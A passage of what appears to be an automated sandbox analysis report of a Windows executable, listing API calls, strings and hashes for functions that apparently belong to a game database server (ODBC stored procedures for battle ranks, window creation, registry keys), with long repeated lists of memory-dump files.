                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_UpdateBattleRank] (?,?,?) }
                                                                                                                            • API String ID: 0-3008649502
                                                                                                                            • Opcode ID: 62fd64a8b2bd06745289ea50189d185d8f4da7d2e62ad2369bf354d0cac2a992
                                                                                                                            • Instruction ID: d19eabc5d2a0bd348f2ee54208843ce82d78d074d965952311208f483da12d10
                                                                                                                            • Opcode Fuzzy Hash: 62fd64a8b2bd06745289ea50189d185d8f4da7d2e62ad2369bf354d0cac2a992
                                                                                                                            • Instruction Fuzzy Hash: 0E3125B0754218BBEB608B84CC52FAA7334EB41B24F20828BF6556E2C5D6B17D408F69
                                                                                                                            Function 0043964B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_AddCurrentBattlePoint] (?,?,?) },000000FD), ref: 0043965F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004396A1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004396D6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043970E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00439746
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_AddCurrentBattlePoint] (?,?,?) }, xrefs: 00439656
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_AddCurrentBattlePoint] (?,?,?) }
                                                                                                                            • API String ID: 0-1137140816
                                                                                                                            • Opcode ID: a10efe64c2b4eece83ca5edc464e9465f8097245f36cbe621f07f87fe0f3a8a7
                                                                                                                            • Instruction ID: 9b9fe0eb316ef440d4bd3b6d791f8c645c89d58c36ae688d7416f7835c8553c9
                                                                                                                            • Opcode Fuzzy Hash: a10efe64c2b4eece83ca5edc464e9465f8097245f36cbe621f07f87fe0f3a8a7
                                                                                                                            • Instruction Fuzzy Hash: E531F471644314FBEB20DB94CD52FDA7334DB84B18F118286F7146E2C6D6B179408B68
                                                                                                                            Function 00410AB0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • CreateWindowExA.USER32(00000300,004E5318,004E5380,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,000000C8,00000000), ref: 00410AF7
                                                                                                                            • SetWindowTextA.USER32(00000000,?), ref: 00410B9C
                                                                                                                            • ShowWindow.USER32(00000000,00000014), ref: 00410BAA
                                                                                                                            • UpdateWindow.USER32(00000000), ref: 00410BB4
                                                                                                                            Strings
                                                                                                                            • DBServer, xrefs: 00410B78
                                                                                                                            • %s (time stamp: %02d/%02d/%02d %02d:%02d:%02d), xrefs: 00410B7D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Window$CreateShowTextUpdate
                                                                                                                            • String ID: %s (time stamp: %02d/%02d/%02d %02d:%02d:%02d)$DBServer
                                                                                                                            • API String ID: 1012791148-3660825906
                                                                                                                            • Opcode ID: 7aca922edc9638e8e895eae531d2e6794f80a6047581dfaac401ce26145d8a97
                                                                                                                            • Instruction ID: 6eecb4df80f49ab7bff88b7e96a3dc04cd24397cfe6db05400e359f373b85aa7
                                                                                                                            • Opcode Fuzzy Hash: 7aca922edc9638e8e895eae531d2e6794f80a6047581dfaac401ce26145d8a97
                                                                                                                            • Instruction Fuzzy Hash: 2D3161B5A00208EFC758DB54CC86FDAB3B5EB4C704F108599FA0997381D6B4AA80CF68
                                                                                                                            Function 00467800 Relevance: 10.6, APIs: 7, Instructions: 77registryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004678E0: RegOpenKeyExA.ADVAPI32(?,Software,00000000,00020019,00000000), ref: 00467915
                                                                                                                              • Part of subcall function 004678E0: RegCreateKeyExA.ADVAPI32(00000000,?,00000000,00000000,00000000,00020019,00000000,00000000,?), ref: 00467945
                                                                                                                              • Part of subcall function 004678E0: RegCreateKeyExA.ADVAPI32(00000000,?,00000000,00000000,00000000,00020019,00000000,00000000,?), ref: 00467975
                                                                                                                              • Part of subcall function 004678E0: RegCloseKey.ADVAPI32(00000000), ref: 00467985
                                                                                                                              • Part of subcall function 004678E0: RegCloseKey.ADVAPI32(00000000), ref: 00467995
                                                                                                                            • RegDeleteKeyA.ADVAPI32(00000000,00000000), ref: 0046782F
                                                                                                                            • RegCloseKey.ADVAPI32(00000000,?,0041088E), ref: 0046783C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Close$Create$DeleteOpen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 461616257-0
                                                                                                                            • Opcode ID: e42abdaa3a643a11935ec791bff7ac2f4b572fa17c06f4ab6fac7515b18889c1
                                                                                                                            • Instruction ID: c147f9c4723ad805c6b58e431de9d38325ef5725de6b27e87f9668680de19a6c
                                                                                                                            • Opcode Fuzzy Hash: e42abdaa3a643a11935ec791bff7ac2f4b572fa17c06f4ab6fac7515b18889c1
                                                                                                                            • Instruction Fuzzy Hash: 06311CB5E14208EFCB44EFA4C948FAF77B4BB48309F108869E516D7250E7789E40DB69
                                                                                                                            Function 004678E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68registryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • RegOpenKeyExA.ADVAPI32(?,Software,00000000,00020019,00000000), ref: 00467915
                                                                                                                            • RegCreateKeyExA.ADVAPI32(00000000,?,00000000,00000000,00000000,00020019,00000000,00000000,?), ref: 00467945
                                                                                                                            • RegCreateKeyExA.ADVAPI32(00000000,?,00000000,00000000,00000000,00020019,00000000,00000000,?), ref: 00467975
                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00467985
                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00467995
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CloseCreate$Open
                                                                                                                            • String ID: Software
                                                                                                                            • API String ID: 1740278721-2393246361
                                                                                                                            • Opcode ID: a9cb0e97d70efaa017145d65cdff0381e3352e0355c3134bb9a80188b5dbe006
                                                                                                                            • Instruction ID: 891ed00f848382a3ca417b3777e18350f961970f963370bac19f0925d13d4907
                                                                                                                            • Opcode Fuzzy Hash: a9cb0e97d70efaa017145d65cdff0381e3352e0355c3134bb9a80188b5dbe006
                                                                                                                            • Instruction Fuzzy Hash: 252141B9E00208FFEB14CF95CC85FEEB7B8AB44704F108059F601AB291D378AA45DB94
                                                                                                                            Function 0044753A Relevance: 9.1, APIs: 6, Instructions: 93COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044757B
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 004475AB
                                                                                                                            • #4.ODBC32(?,00000000,000000E7,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 004475DB
                                                                                                                            • #4.ODBC32(?,00000000,0000005D,?,00000000,00000000,?,00000000,000000E7,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044760B
                                                                                                                            • #4.ODBC32(?,00000000,0000005D,?,00000000,00000000,?,00000000,0000005D,?,00000000,00000000,?,00000000,000000E7,?), ref: 0044763B
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,0000005D,?,00000000,00000000,?,00000000,0000005D,?), ref: 0044766B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 93f5c9d7aabc8456a09ab9c1e231d736f0dbe2fed4fadc81501e5aa0c3557665
                                                                                                                            • Instruction ID: 93e2ff23d54b431ec10b527923a8778e51bad37c1066a01d0ad19e403696d23c
                                                                                                                            • Opcode Fuzzy Hash: 93f5c9d7aabc8456a09ab9c1e231d736f0dbe2fed4fadc81501e5aa0c3557665
                                                                                                                            • Instruction Fuzzy Hash: 9831D9B1A40618ABDB24DB09CC51FEA7379EB85718F1081C9F6187B381D675AF90CF94
                                                                                                                            Function 0044777A Relevance: 9.1, APIs: 6, Instructions: 93COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 004477BB
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 004477EB
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044781B
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044784B
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044787B
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?), ref: 004478AB
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
